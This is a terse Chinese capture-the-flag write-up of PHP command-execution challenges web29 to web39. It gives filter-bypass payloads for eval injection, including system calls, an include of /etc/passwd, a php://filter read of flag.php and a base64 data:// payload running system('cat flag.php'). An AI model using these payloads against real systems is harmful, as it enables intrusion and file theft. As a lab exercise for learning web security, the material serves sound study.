*1 命令执行篇 web29 很明显绕过就可以 上c=system(‘nl *’);
web30 这里注意要绕过system 这就要用到echo函数 c=echo( nl *`); 同理web31过滤空格 用trb 绕过
web32 这个题就比较骚了 过滤了echo system 空格 基本上上面的方法都没法用 那我们怎么去解题呢?? 首先尝试文件包含 include"/etc/passwd"?> 发现可以运行 这就说明可以运行的通,并且它没有过滤$ 还有一个问题include包含php文件不会在页面显示出来,尝试include"$_POST[1]"?> 1=/etc/passwd 成功执行 联系上面 完全可以利用为协议 构造?c=include$_POST[1]?> 1=php://filter/read=convert.base64-encode/resource=flag.php 下面解释一下eval函数,把字符串当成php代码执行 我们知道到eval之后 我们想执行为协议 那么我们就要通过post方式去执行为协议 因为eval函数的缘故 1=php://filter/read=convert.base64-encode/resource=flag.php 执行漏洞并呈现到屏幕上 同理34,35
同33 36
将1改为a即可
data:// 协议
条件: allow_url_fopen:on allow_url_include :on 作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。下面上38题
payload:data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== base解码是
<?php system('cat flag.php');?>39
